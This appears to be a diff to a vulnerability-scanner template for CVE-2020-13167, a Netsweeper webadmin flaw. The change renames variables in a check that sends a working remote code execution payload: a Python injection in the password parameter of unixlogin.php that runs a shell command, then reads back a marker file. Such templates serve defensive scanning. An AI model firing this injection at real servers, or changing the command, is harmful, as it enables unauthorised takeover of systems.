misc update

http/cves/2020/CVE-2020-13167.yaml

@@ -24,13 +24,13 @@ info:
   tags: cve,cve2020,netsweeper,rce,python,webadmin
 
 variables:
-  randomstring: {{randstr}}
+  rand_str: "{{randstr}}"
-  payload: echo "{{base64(randomstring)}}" | base64 -d > /usr/local/netsweeper/webadmin/out
+  cmd: 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'
 
 http:
   - method: GET
     path:
-      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(payload))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
+      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
       - "{{BaseURL}}/webadmin/out"
 
     headers:
@@ -41,7 +41,7 @@ http:
       - type: word
         part: body_2
         words:
-          - "{{randomstring}}"
+          - "{{rand_str}}"
 
       - type: status
         status: